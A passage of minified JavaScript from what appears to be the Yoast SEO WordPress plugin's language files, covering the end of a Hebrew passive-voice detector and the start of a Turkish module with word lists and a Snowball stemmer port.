languageProcessing,b=function(e,t,r){return t.some((t=>r.some((function(r){return new RegExp("^"+r.prefix+t+r.suffix+"$").test(e)}))))};function P(e){const t=w(e);for(const e of t){if(b(e,m,[{prefix:"(נ|אי|תי|הי|יי|ני|להי)",suffix:""},{prefix:"(תי|הי)",suffix:"(י|ו|נה)"},{prefix:"נ",suffix:"(ים|ת|ות|תי|ה|נו|תם|תן|ו)"},{prefix:"יי",suffix:"ו"}]))return!0;const t=[{prefix:"(מ|א|ת|י|נ)",suffix:""},{prefix:"תי",suffix:"נה"},{prefix:"מ",suffix:"(ת|ים|ות)"},{prefix:"ת",suffix:"(י|ו|נה)"},{prefix:"י",suffix:"ו"},{prefix:"",suffix:"(תי|ת|ה|נו|תם|תן|ו)"},{prefix:"",suffix:""}],r="ו";if(y.some((n=>t.some((function(t){return new RegExp("^"+t.prefix+n[0]+r+n[1]+n[2]+t.suffix+"$").test(e)})))))return!0;if(b(e,h,[{prefix:"(מו|הו|או|תו|יו|נו)",suffix:""},{prefix:"מו",suffix:"(ת|ים|ות)"},{prefix:"הו",suffix:"(תי|ת|ית|ה|נו|תם|תן|ו)"},{prefix:"תו",suffix:"(ו|נה|י)"},{prefix:"יו",suffix:"ו"}]))return!0}return!1}const{AbstractResearcher:S}=r.languageProcessing;class R extends S{constructor(e){super(e),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"he",passiveConstructionType:"morphological",firstWordExceptions:f,functionWords:i,transitionWords:s,twoPartTransitionWords:o,sentenceLength:c,prefixedFunctionWordsRegex:a}),Object.assign(this.helpers,{createBasicWordForms:x,getStemmer:d,isPassiveSentence:P})}}(window.yoast=window.yoast||{}).Researcher=t})();wordpress-seo/js/dist/languages/tr.js000064400000207407147510273070013710 0ustar00(()=>{"use strict";var i={d:(e,r)=>{for(var a in r)i.o(r,a)&&!i.o(e,a)&&Object.defineProperty(e,a,{enumerable:!0,get:r[a]})},o:(i,e)=>Object.prototype.hasOwnProperty.call(i,e),r:i=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(i,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(i,"__esModule",{value:!0})}},e={};i.r(e),i.d(e,{default:()=>p});const r=window.yoast.analysis,a=["bunlar","şunlar","onlar”, “burası","orası","şurası","burayı","orayı","şurayı”, “buraya","oraya","şuraya”, “burada","orada","şurada”, “buradan","oradan","şuradan","bu","şu","o","bir","íki","üç","dört","beş","altı","yedi","sekiz","dokuz","on"],s=["fakat","halbuki","hatta","üstelik","ancak","oysa","sonuçta","yalnız","çünkü","oysaki","kısacası","özetle","böylelikle","ama","lakin","ayrıca","açıkcası","yani","sonucunda","böylece","kısaca","veya","veyahut","zira","öyleyse","sonrasında","ardından","vakıa","gerçi","karşın","tümüyle","bütünüyle","tamamıyla","genelde","diğer","başka","önce","öncesinde","sonra","yanısıra","ama","muhakkak","kesinlikle","şüphesiz","elbet","elbette","kuşkusuz","başlıca","bilakis","aksine","tersine","devamında","özellikle","bilhassa","nihayet","nihayetinde","neticede","ayrıyeten","dahası","çoğunlukla","genellikle","genelde","dolayısıyla","gelgelelim","aslında","doğrusu","mamafih","binaenaleyh","evvelce","önceden","şöylelikle","örneğin","mesela","nitekim","mademki","şimdi","halihazırda","i̇laveten","aynen","nazaran","nedeniyle","yüzünden","umumiyetle","ekseriye","amacıyla","gayesiyle","velhasıl","ezcümle","özetlersek","etraflıca","tafsilatlı","genişçe","bilfiil","filhakika","evvela","i̇lkin","en önce","birincisi","i̇kincisi","üçüncüsü","sonuncusu","tıpkı","topyekun","hem","kah","ister","ya","gerekse","sayesinde","sebebiyle","üzere","göre","uyarınca","halen","gerçekten","madem","yoksa"],t=s.concat(["o halde","bundan böyle","demek ki","ne yazık ki","görüldüğü gibi","i̇lk olarak","son olarak","ne var ki","buna rağmen","yine de","başka bir deyişle","açıklamak gerekirse","özetlemek gerekirse","kısaca söylemek gerekirse","görüldüğü gibi","ve bunun gibi","halbu ki","buna göre","ona göre","ek olarak","her ne kadar","velev ki","olmakla beraber","bile olsa","i̇le beaber","i̇le birlikte","her şeye rağmen","bütün yanlarıyla","bütün yönleriyle","ele alacak olursak","baştan sona","diğer bir","başka bir","daha önce","daha sonra","bundan başka","bunun yanında","bunun yanı sıra","bununla birlikte","buna ilaveten","bunun dışında","elbette ki","muhakkak ki","belli başlı","karşılaştırmak gerekirse","karşılaştırmalı olarak","aynı zamanda","sonuç olarak","diğer taraftan","diğer bir taraftan","buna karşılık","tam tersine","buna bağlı olarak","buna parelel olarak","i̇kinci olarak","üçüncü olarak","aynı derecede","eşit olarak","başta olmak üzere","en sonunda","açık bir şekilde","ana hatlarıyla","genel itibariyle","genel anlamda","genel olarak","bunun için","bu nedenle","bundan dolayı","bu sebeple","dolayısı ile","her halükarda","aynı biçimde","aynı şekilde","bu esnada","bu arada","hal böyleyken","bağlı kalmaksızın","açık olarak","belli ki","ayrıntılı olarak","bundan önce","sözün kısası","az ve öz bir şekilde","tüm ayrıntılarıyla","bu şekilde","o yüzden","bu sayede","buradan hareketle","buna mukabil","en önemlisi","her şeyden önce","esas olarak","hepsinden önce","hepsinden öte","hepsinden ötesi","her şeyin üzerinde","her şeyin ötesinde","hepsinden önemlisi","asıl önemlisi","her şeyi hesaba katarak","bütün olarak","her şey göz önüne alındığında","pararel olarak","diğer bir nokta","diğer açıdan","öyle ya da böyle","doğrusunu söylemek gerekirse","i̇şin doğrusu","aslına bakılırsa","gerçek şu ki","hattı zatında","aslına bakıldığında","aslına bakarsak","i̇şin aslı","sonuç itibariyle","örnek olarak","örneleyecek olursak","görülebileceği gibi","görülebileceği üzere","görüldüğü üzere","söylendiği gibi","söylenildiği gibi","söylediği gibi","söylediğim gibi","olduğu kadar","önceden belirtildiği gibi","önceden söylendiği gibi","yukarıda gösterildiği gibi","eninde sonunda","önünde sonunda","şu anda","bu sırada","bununla beraber","bu noktada","bunun ışığında","bunların ışığında","aşikar olarak","aynı sebeple","bir de","doğru da olsa","doğru bile olsa","öyle bile olsa","öyle de olsa","i̇le ilgili","olsa bile","eğer ki","olsa dahi","ondan dolayı","o sebepten dolayı","bu yüzden","onun için","esas itibarıyla","aynı sebepten dolayı","bu amaçla","zaman zaman","arada sırada","dönem dönem","arada bir","diyelim ki","farz edelim ki","farz edersek","kısaca söylecek olursak","tek kelimeyle","birkaç kelimeyle","sözün özü","en nihayetinde","uzun uzadıya","her iki durumda da","özü itibariyle","amacı ile","olması için","başka bir ifadeyle","diğer bir deyişle","i̇lk önce","bir yandan","bir taraftan","hatırlatmak gerekirse","bu bağlamda","gel gelelim","her şey hesaba katılırsa","bütüne bakıldığında","belirtildiği gibi","bir başka ifadeyle","lafı toparlamak gerekirse","bu düşünceyle","bu maksatla","bu doğrultuda","bu niyetle","ne de","ya da","aksi durumda","bu durum","olup olmadığı","diğer yandan","öte yandan","ne olursa olsun"]),n=function(i){let e=i;return i.forEach((r=>{(r=r.split("-")).length>0&&r.filter((e=>!i.includes(e))).length>0&&(e=e.concat(r))})),e}([].concat(["bir"],["i̇ki","üç","dört","beş","altı","yedi","sekiz","dokuz","on","on bir","on i̇ki","on üç","on dört","on beş","on altı","on yedi","on sekiz","on dokuz","yirmi","yirmi bir","yirmi i̇ki","yirmi üç","yirmi dört","yirmi beş","yirmi altı","yirmi yedi","yirmi sekiz","yirmi dokuz","otuz","kırk","elli","altmış","yetmiş","seksen","doksan","yüz","bin","milyon","milyar"],["birinci","i̇kinci","üçüncü","dördüncü","beşinci","altıncı","yedinci","sekizinci","dokuzuncu","onuncu"],["tam","yarım","çeyrek","üçte biri","üçte ikisi","tamamı","yarısı","çeyreği","üçte biri","üçte ikisi"],["ben","sen","o","biz","siz","onlar","beni","seni","onu","bizi","sizi","onları","bizleri","sizleri","bana","sana","ona","bize","size","onlara","bizlere","sizlere","bende","sende","onda","bizde","sizde","onlarda","bizlerde","sizlerde","benden","senden","ondan","bizden","sizden","onlardan","bizlerden","sizlerden","benim","senin","onun","bizim","sizin","onların","bizlerin","sizlerin","bu","şu","o","öteki","beriki","bura","şura","ora","burası","şurası","orası","böylesi","şöylesi","öylesi","bunlar","şunlar","onlar","ötekiler","berikiler","buralar","şuralar","oralar","birbiri","birbirimiz","birbiriniz","birbirleri","birbirimizi","birbirinizi","birbirlerini","birbirimize","birbirinize","birbirlerine","birbirimizde","birbirinizde","birbirlerinde","birbirimizden","birbirinizden","birbirlerinden","birbirimizle","birbirinizle","birbirleriyle"],["kim","kimi","kime","kimde","kimden","kimin","kiminle","ne","neyi","neyde","neyden","neyle","ne için","niçin","niye","ne diye","nere","nereyi","nereye","nerede","nereden","neresi","neden","hangi","hangisi","kaç","kaçı","kaçıncı","kaçta","nasıl","ne kadar","ne zaman","mı","hangi","hangisi","kimler","kimleri","kimlere","kimlerde","kimlerden","neler","neleri","nelere","nelerde","nelerden","hangiler","hangileri","hangilere"],["hepsi","bazısı","çoğu","birçoğu","birazı","hepsi","bütünü","yeteri kadarı","birkaçı","biri","her ikisi","i̇kisinden biri","hiç biri","diğeri","tümü","bir kısmı","pek çoğu","her biri","bazı","çok","çoğu","birçok","biraz","bütün","yeteri kadar","birkaç","bir","her iki","hiç bir","diğer","tüm","bir kısım","pek çok","her bir"],["kendi","kendim","kendimi","kendime","kendimde","kendimden","kendin","kendini","kendine","kendinde","kendinden","kendisi","kendiyle","kendileri","kendilerine","kendilerinde","kendilerinden","kendileriyle"],["kimi","kimse","biri","birisi","başkası","bazısı","bir çoğu","bir takımı","birkaçı","birazı","herkes","hepsi","hepimiz","hiçbiri","herhangi biri","her biri","şey","falan","filan","falanca","öteberi","tümü","bütünü","kimileri","kimseler","birileri","başkaları","bazıları","bir çokları","herkesler"],["i̇çin","gibi","kadar","ancak","yalnız","i̇le","sadece","sanki","değil","üzere","dair","karşın","rağmen","özgü","doğru","dek","değin","ait","beri","başka","itibaren","dolayı","ötürü","adeta","sırf","diye","tek","karşı"],["ve","i̇le","veya","ya da","yahut","veyahut","ama","fakat","lakin","yalnız","ancak","oysa","oysaki","halbu ki","ne var ki","çünkü","zira","de","da","ki","meğer","madem","mademki","demek","demek ki","üstelik","hatta","yani","hem...hem","hem de","ne","kah","i̇ster","ister","açıkcası","bile","ya","da","ise","öyleyse","kim bilir","gerek","gerekse de","ta ki","zati"],["demek","dedim","dedin","dedi","dedik","dediniz","dediler","der","söylemek","söyledim","söyledin","söyledi","söyledik","söylediniz","söylediler","söyler","söylerler","sormak","sordum","sordun","sordu","sorduk","sordunuz","sordular","sorar","sorarlar","belirtmek","belirttim","belirttin","belirtti","belirttik","belirttiniz","belirttiler","belirtir","belirtirler","açıklamak","açıkladım","açıkladın","açıkladı","açıkladık","açıkladınız","açıkladılar","açıklar","açıklarlar","düşünmek","düşündüm","düşündün","düşündü","düşündük","düşündünüz","düşündüler","düşünür","düşünürler","konuşmak","konuşdum","konuştun","konuştu","konuştuk","konuştunuz","konuştular","konuşur","konuşurlar","bildirmek","bildirdim","bildirdin","bildirdi","bildirdik","bildirdiniz","bildirdiler","birdirir","bildirirler","ele","almak","aldım","aldın","aldı","aldık","aldınız","aldılar","önermek","önerdim","önerdin","önerdi","önerdik","önerdiniz","önerdiler","önerir","önerirler","anlamak","anladım","anladın","anladı","anladık","anladınız","anladılar","anlar","anlarlar"],["en","daha","pek çok","en çok","fazla","epey","epeyce","bayağı","oldukça","pek","gayet","fazlaca","fevkalede","tamamen","fena halde","fena şekilde","gerçekten","zerre kadar","biraz","son derece","deli gibi","en","çok","azıcık"],["etmek","olmak","yapmak","kalmak","gelmek","kalmak","bulunmak","demek","dilemek","söylemek","durmak","eylemek","yazmak","durmak","vermek","kabul","teşekkür","memnun","seyir","zan","bilmek"],["yeni","eski","önceki","i̇yi","büyük","küçük","kolay","zor","hızlı","yavaş","yüksek","alçak","kısa","uzun","i̇nce","kalın","gerçek","yalan","yanlış","basit","zor","aynı","farklı","belli","belirsiz","modern","geleneksel","muhtemel","yaygın","genç","yaşlı","zamansız","acı","tatlı","tuzlu","sıcak","soğuk","kalabalık","sakin","yalnız","dar","geniş","siyah","beyaz","mavi","kırmızı","sarı","temiz","kirli","muhteşem","nazik","kibar","akıllı","zeki","gizli","açık","kapalı","dikkatli","gürültülü","sevinçli","eski","önce","i̇yi","büyük","küçük","kolay","zor","hızlı","yavaş","yüksek","alçak","kısa","uzun","i̇nce","kalın","gerçek","yanlış","basit","zor","aynı","farklı","belli","belirsiz","modern","geleneksel","muhtemel","yaygın","nadir","genç","yaşlı","zamansız","acı","tatlı","tuzlu","sıcak","soğuk","kalabalık","sakin","yalnız","dar","geniş","siyah","beyaz","mavi","kırmızı","sarı","temiz","kirli","muhteşem","nazik","kibar","akıllı","zeki","gizli","açık","kapalı","dikkatle","gürültülü","uzun","sevinçle","aşağı","yukarı","sağa","sola","i̇çeri dışarı","bugün","yarın","haftaya","seneye","ne zaman","nereye","neden","niye","ne kadar","nasıl","ne"],["ey","hey","bre","hişt","şşt","ah","ahh","ee","vay","i̇mdat","hah","ay","aa","aaa","hay allah","aman","aman dikkat","vah","ya","yaa","ooo","of","tüh","peh","aman","haydi","sakın","yuh"],["çay kaşığı","çay k.","yemek kaşığı","yemek k.","tatlı kaşığı","tatlı k.","çay bardağı","çay b.","su bardağı","su b.","kahve fincanı","kahve f.","tepeleme","tepeleme kaşık","tepeleme bardak","gr","ml","kg","mg","cl","oz","çeyrek","tam","yarım","üçte biri","üçte ikisi","parmak"],["saniye","saniyeler","dakika","dakikalar","saat","saatler","gün","günler","hafta","haftalar","ay","aylar","yıl","yıllar","bugün","yarın","dün","sabah","öğlen","akşam","gece","gündüz"],["şey","şeyler","olasılık","çeşit","kişi"],["hapşu","hapşırık","hapşurmak","horr","horultu","horlamak","şırıl","şırıltı","şırıldamak","hışır","hışırtı","hışırdamak","gıcır","gıcırtı","gıcırdamak","çatır","çatırtı","çatırdamak","pat","patlamak","vın","vınlamak","zırr","zırıltı","zırlamak","tık","tıkırtı","tıkırdamak","çıt","çıtırtı","çıtırdamak","fokur","fokurtu","fokurdamak","kıt","kıtırtı","kıtırdamak","patırtı"],["bayan","bay","hanımefendi","hanfendi","hanım","beyefendi","beyfendi","bey","sayın","profesör","prof.","doktor","dr."],s)),h=[["ne","ne"],["gerek","gerek"],["olsun","olmasın"]],o={recommendedLength:15,percentages:{slightlyTooMany:20,farTooMany:25}},l=window.lodash;class u{get b(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$b")?this._$esjava$b:this._$esjava$b=""}set b(i){this._$esjava$b=i}length$esjava$0(){return this.b.length}replace$esjava$3(i,e,r){if(0===i&&e===this.b.length)this.b=r;else{const a=this.b.substring(0,i),s=this.b.substring(e);this.b=a+r+s}}substring$esjava$2(i,e){return this.b.substring(i,e)}charAt$esjava$1(i){return this.b.charCodeAt(i)}subSequence$esjava$2(i,e){throw new Error("NotImpl: CharSequence::subSequence")}toString$esjava$0(){return this.b}length(...i){return 0===i.length?this.length$esjava$0(...i):super.length(...i)}replace(...i){return 3===i.length?this.replace$esjava$3(...i):super.replace(...i)}substring(...i){return 2===i.length?this.substring$esjava$2(...i):super.substring(...i)}charAt(...i){return 1===i.length?this.charAt$esjava$1(...i):super.charAt(...i)}subSequence(...i){return 2===i.length?this.subSequence$esjava$2(...i):super.subSequence(...i)}toString(...i){return 0===i.length?this.toString$esjava$0(...i):super.toString(...i)}}class m{static toCharArray$esjava$1(i){const e=i.length,r=new Array(e);for(let a=0;a<e;a++)r[a]=i.charCodeAt(a);return r}constructor(i,e,r,a,s){this.s_size=i.length,this.s=m.toCharArray$esjava$1(i),this.substring_i=e,this.result=r,this.methodobject=s,this.method=a?s[a]:null}get s_size(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$s_size")?this._$esjava$s_size:this._$esjava$s_size=0}set s_size(i){this._$esjava$s_size=i}get s(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$s")?this._$esjava$s:this._$esjava$s=null}set s(i){this._$esjava$s=i}get substring_i(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$substring_i")?this._$esjava$substring_i:this._$esjava$substring_i=0}set substring_i(i){this._$esjava$substring_i=i}get result(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$result")?this._$esjava$result:this._$esjava$result=0}set result(i){this._$esjava$result=i}get method(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$method")?this._$esjava$method:this._$esjava$method=null}set method(i){this._$esjava$method=i}get methodobject(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$methodobject")?this._$esjava$methodobject:this._$esjava$methodobject=null}set methodobject(i){this._$esjava$methodobject=i}}class _{constructor(){this.current=new u,this.setCurrent$esjava$1("")}setCurrent$esjava$1(i){this.current.replace(0,this.current.length(),i),this.cursor=0,this.limit=this.current.length(),this.limit_backward=0,this.bra=this.cursor,this.ket=this.limit}getCurrent$esjava$0(){const i=this.current.toString();return this.current=new u,i}get current(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$current")?this._$esjava$current:this._$esjava$current=null}set current(i){this._$esjava$current=i}get cursor(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$cursor")?this._$esjava$cursor:this._$esjava$cursor=0}set cursor(i){this._$esjava$cursor=i}get limit(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$limit")?this._$esjava$limit:this._$esjava$limit=0}set limit(i){this._$esjava$limit=i}get limit_backward(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$limit_backward")?this._$esjava$limit_backward:this._$esjava$limit_backward=0}set limit_backward(i){this._$esjava$limit_backward=i}get bra(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$bra")?this._$esjava$bra:this._$esjava$bra=0}set bra(i){this._$esjava$bra=i}get ket(){return Object.prototype.hasOwnProperty.call(this,"_$esjava$ket")?this._$esjava$ket:this._$esjava$ket=0}set ket(i){this._$esjava$ket=i}copy_from$esjava$1(i){this.current=i.current,this.cursor=i.cursor,this.limit=i.limit,this.limit_backward=i.limit_backward,this.bra=i.bra,this.ket=i.ket}in_grouping$esjava$3(i,e,r){if(this.cursor>=this.limit)return!1;let a=this.current.charAt(this.cursor);return!(a>r||a<e||(a-=e,0==(i[a>>3]&1<<(7&a))||(this.cursor++,0)))}in_grouping_b$esjava$3(i,e,r){if(this.cursor<=this.limit_backward)return!1;let a=this.current.charAt(this.cursor-1);return!(a>r||a<e||(a-=e,0==(i[a>>3]&1<<(7&a))||(this.cursor--,0)))}out_grouping$esjava$3(i,e,r){if(this.cursor>=this.limit)return!1;let a=this.current.charAt(this.cursor);return a>r||a<e?(this.cursor++,!0):(a-=e,0==(i[a>>3]&1<<(7&a))&&(this.cursor++,!0))}out_grouping_b$esjava$3(i,e,r){if(this.cursor<=this.limit_backward)return!1;let a=this.current.charAt(this.cursor-1);return a>r||a<e?(this.cursor--,!0):(a-=e,0==(i[a>>3]&1<<(7&a))&&(this.cursor--,!0))}in_range$esjava$2(i,e){if(this.cursor>=this.limit)return!1;const r=this.current.charAt(this.cursor);return!(r>e||r<i||(this.cursor++,0))}in_range_b$esjava$2(i,e){if(this.cursor<=this.limit_backward)return!1;const r=this.current.charAt(this.cursor-1);return!(r>e||r<i||(this.cursor--,0))}out_range$esjava$2(i,e){if(this.cursor>=this.limit)return!1;const r=this.current.charAt(this.cursor);return(r>e||r<i)&&(this.cursor++,!0)}out_range_b$esjava$2(i,e){if(this.cursor<=this.limit_backward)return!1;const r=this.current.charAt(this.cursor-1);return(r>e||r<i)&&(this.cursor--,!0)}eq_s$esjava$2(i,e){if(this.limit-this.cursor<i)return!1;let r;for(r=0;r!==i;r++)if(this.current.charAt(this.cursor+r)!==e.charCodeAt(r))return!1;return this.cursor+=i,!0}eq_s_b$esjava$2(i,e){if(this.cursor-this.limit_backward<i)return!1;let r;for(r=0;r!==i;r++)if(this.current.charAt(this.cursor-i+r)!==e.charCodeAt(r))return!1;return this.cursor-=i,!0}eq_v$esjava$1(i){return this.eq_s$esjava$2(i.length(),i.toString())}eq_v_b$esjava$1(i){return this.eq_s_b$esjava$2(i.length(),i.toString())}find_among$esjava$2(i,e){let r=0,a=e;const s=this.cursor,t=this.limit;let n=0,h=0,o=!1;for(;;){const e=r+(a-r>>1);let l=0,u=n<h?n:h;const m=i[e];let _;for(_=u;_<m.s_size;_++){if(s+u===t){l=-1;break}if(l=this.current.charAt(s+u)-m.s[_],0!==l)break;u++}if(l<0?(a=e,h=u):(r=e,n=u),a-r<=1){if(r>0)break;if(a===r)break;if(o)break;o=!0}}for(;;){const e=i[r];if(n>=e.s_size){if(this.cursor=s+e.s_size,null===e.method)return e.result;let i;if(i=e.method.call(e.methodobject),this.cursor=s+e.s_size,i)return e.result}if(r=e.substring_i,r<0)return 0}}find_among_b$esjava$2(i,e){let r=0,a=e;const s=this.cursor,t=this.limit_backward;let n=0,h=0,o=!1;for(;;){const e=r+(a-r>>1);let l=0,u=n<h?n:h;const m=i[e];let _;for(_=m.s_size-1-u;_>=0;_--){if(s-u===t){l=-1;break}if(l=this.current.charAt(s-1-u)-m.s[_],0!==l)break;u++}if(l<0?(a=e,h=u):(r=e,n=u),a-r<=1){if(r>0)break;if(a===r)break;if(o)break;o=!0}}for(;;){const e=i[r];if(n>=e.s_size){if(this.cursor=s-e.s_size,null===e.method)return e.result;let i;if(i=e.method.call(e.methodobject),this.cursor=s-e.s_size,i)return e.result}if(r=e.substring_i,r<0)return 0}}replace_s$esjava$3(i,e,r){const a=r.length-(e-i);return this.current.replace(i,e,r),this.limit+=a,this.cursor>=e?this.cursor+=a:this.cursor>i&&(this.cursor=i),a}slice_check$esjava$0(){if(this.bra<0||this.bra>this.ket||this.ket>this.limit||this.limit>this.current.length())throw new Error("Snowball: faulty slice operation")}slice_from$esjava$1(i){this.slice_check$esjava$0(),this.replace_s$esjava$3(this.bra,this.ket,i)}slice_del$esjava$0(){this.slice_from$esjava$1("")}insert$esjava$3(i,e,r){const a=this.replace_s$esjava$3(i,e,r);i<=this.bra&&(this.bra+=a),i<=this.ket&&(this.ket+=a)}slice_to$esjava$1(i){return this.slice_check$esjava$0(),i.replace(0,i.length(),this.current.substring(this.bra,this.ket)),i}setCurrent(...i){return 1===i.length?this.setCurrent$esjava$1(...i):super.setCurrent(...i)}getCurrent(...i){return 0===i.length?this.getCurrent$esjava$0(...i):super.getCurrent(...i)}copy_from(...i){return 1===i.length?this.copy_from$esjava$1(...i):super.copy_from(...i)}in_grouping(...i){return 3===i.length?this.in_grouping$esjava$3(...i):super.in_grouping(...i)}in_grouping_b(...i){return 3===i.length?this.in_grouping_b$esjava$3(...i):super.in_grouping_b(...i)}out_grouping(...i){return 3===i.length?this.out_grouping$esjava$3(...i):super.out_grouping(...i)}out_grouping_b(...i){return 3===i.length?this.out_grouping_b$esjava$3(...i):super.out_grouping_b(...i)}in_range(...i){return 2===i.length?this.in_range$esjava$2(...i):super.in_range(...i)}in_range_b(...i){return 2===i.length?this.in_range_b$esjava$2(...i):super.in_range_b(...i)}out_range(...i){return 2===i.length?this.out_range$esjava$2(...i):super.out_range(...i)}out_range_b(...i){return 2===i.length?this.out_range_b$esjava$2(...i):super.out_range_b(...i)}eq_s(...i){return 2===i.length?this.eq_s$esjava$2(...i):super.eq_s(...i)}eq_s_b(...i){return 2===i.length?this.eq_s_b$esjava$2(...i):super.eq_s_b(...i)}eq_v(...i){return 1===i.length?this.eq_v$esjava$1(...i):super.eq_v(...i)}eq_v_b(...i){return 1===i.length?this.eq_v_b$esjava$1(...i):super.eq_v_b(...i)}find_among(...i){return 2===i.length?this.find_among$esjava$2(...i):super.find_among(...i)}find_among_b(...i){return 2===i.length?this.find_among_b$esjava$2(...i):super.find_among_b(...i)}replace_s(...i){return 3===i.length?this.replace_s$esjava$3(...i):super.replace_s(...i)}slice_check(...i){return 0===i.length?this.slice_check$esjava$0(...i):super.slice_check(...i)}slice_from(...i){return 1===i.length?this.slice_from$esjava$1(...i):super.slice_from(...i)}slice_del(...i){return 0===i.length?this.slice_del$esjava$0(...i):super.slice_del(...i)}insert(...i){return 3===i.length?this.insert$esjava$3(...i):super.insert(...i)}slice_to(...i){return 1===i.length?this.slice_to$esjava$1(...i):super.slice_to(...i)}}class k extends _{stem$esjava$0(){throw"NotImpl < stem$esjava$0 >"}stem(...i){return 0===i.length?this.stem$esjava$0(...i):super.stem(...i)}}class c extends k{constructor(i){super(),c.morphologyData=i.externalStemmer}static get methodObject(){return delete c.methodObject,c.methodObject=null}static get a_0(){return delete c.a_0,c.a_0=[new m(c.morphologyData.a_0.SuffixM,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixN,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixMiz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixNiz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixMuz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixNuz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixMuzDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixNuzDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixMizUndotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_0.SuffixNizUndotted,-1,-1,"",c.methodObject)]}static get a_1(){return delete c.a_1,c.a_1=[new m(c.morphologyData.a_1.SuffixLeri,-1,-1,"",c.methodObject),new m(c.morphologyData.a_1.SuffixLariUndotted,-1,-1,"",c.methodObject)]}static get a_2(){return delete c.a_2,c.a_2=[new m(c.morphologyData.a_2.SuffixNi,-1,-1,"",c.methodObject),new m(c.morphologyData.a_2.SuffixNu,-1,-1,"",c.methodObject),new m(c.morphologyData.a_2.SuffixNuDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_2.SuffixNiUndotted,-1,-1,"",c.methodObject)]}static get a_3(){return delete c.a_3,c.a_3=[new m(c.morphologyData.a_3.SuffixInDotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_3.SuffixUn,-1,-1,"",c.methodObject),new m(c.morphologyData.a_3.SuffixUnDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_3.SuffixInUndotted,-1,-1,"",c.methodObject)]}static get a_4(){return delete c.a_4,c.a_4=[new m(c.morphologyData.a_4.SuffixA,-1,-1,"",c.methodObject),new m(c.morphologyData.a_4.SuffixE,-1,-1,"",c.methodObject)]}static get a_5(){return delete c.a_5,c.a_5=[new m(c.morphologyData.a_5.SuffixNa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_5.SuffixNe,-1,-1,"",c.methodObject)]}static get a_6(){return delete c.a_6,c.a_6=[new m(c.morphologyData.a_6.SuffixDa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_6.SuffixTa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_6.SuffixDe,-1,-1,"",c.methodObject),new m(c.morphologyData.a_6.SuffixTe,-1,-1,"",c.methodObject)]}static get a_7(){return delete c.a_7,c.a_7=[new m(c.morphologyData.a_7.SuffixNda,-1,-1,"",c.methodObject),new m(c.morphologyData.a_7.SuffixNde,-1,-1,"",c.methodObject)]}static get a_8(){return delete c.a_8,c.a_8=[new m(c.morphologyData.a_8.SuffixDan,-1,-1,"",c.methodObject),new m(c.morphologyData.a_8.SuffixTan,-1,-1,"",c.methodObject),new m(c.morphologyData.a_8.SuffixDen,-1,-1,"",c.methodObject),new m(c.morphologyData.a_8.SuffixTen,-1,-1,"",c.methodObject)]}static get a_9(){return delete c.a_9,c.a_9=[new m(c.morphologyData.a_9.SuffixNdan,-1,-1,"",c.methodObject),new m(c.morphologyData.a_9.SuffixNden,-1,-1,"",c.methodObject)]}static get a_10(){return delete c.a_10,c.a_10=[new m(c.morphologyData.a_10.SuffixLa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_10.SuffixLe,-1,-1,"",c.methodObject)]}static get a_11(){return delete c.a_11,c.a_11=[new m(c.morphologyData.a_11.SuffixCa,-1,-1,"",c.methodObject),new m(c.morphologyData.a_11.SuffixCe,-1,-1,"",c.methodObject)]}static get a_12(){return delete c.a_12,c.a_12=[new m(c.morphologyData.a_12.SuffixImDotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_12.SuffixUm,-1,-1,"",c.methodObject),new m(c.morphologyData.a_12.SuffixUmDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_12.SuffixImUndotted,-1,-1,"",c.methodObject)]}static get a_13(){return delete c.a_13,c.a_13=[new m(c.morphologyData.a_13.SuffixSin,-1,-1,"",c.methodObject),new m(c.morphologyData.a_13.SuffixSun,-1,-1,"",c.methodObject),new m(c.morphologyData.a_13.SuffixSunDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_13.SuffixSinUndotted,-1,-1,"",c.methodObject)]}static get a_14(){return delete c.a_14,c.a_14=[new m(c.morphologyData.a_14.SuffixIzDotted,-1,-1,"",c.methodObject),new m(c.morphologyData.a_14.SuffixUz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_14.SuffixUzDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_14.SuffixIzUndotted,-1,-1,"",c.methodObject)]}static get a_15(){return delete c.a_15,c.a_15=[new m(c.morphologyData.a_15.SuffixSiniz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_15.SuffixSunuz,-1,-1,"",c.methodObject),new m(c.morphologyData.a_15.SuffixSunuzDieresis,-1,-1,"",c.methodObject),new m(c.morphologyData.a_15.SuffixSinizUndotted,-1,-1,"",c.methodObject)]}static get a_16(){return delete c.a_16,c.a_16=[new m(c.morphologyData.a_16.SuffixLar,-1,-1,"",c.methodObject),new m(c.morphologyData.a_16.SuffixLer,-1,-1,"",c.methodObject)]}static get a_17(){return delete 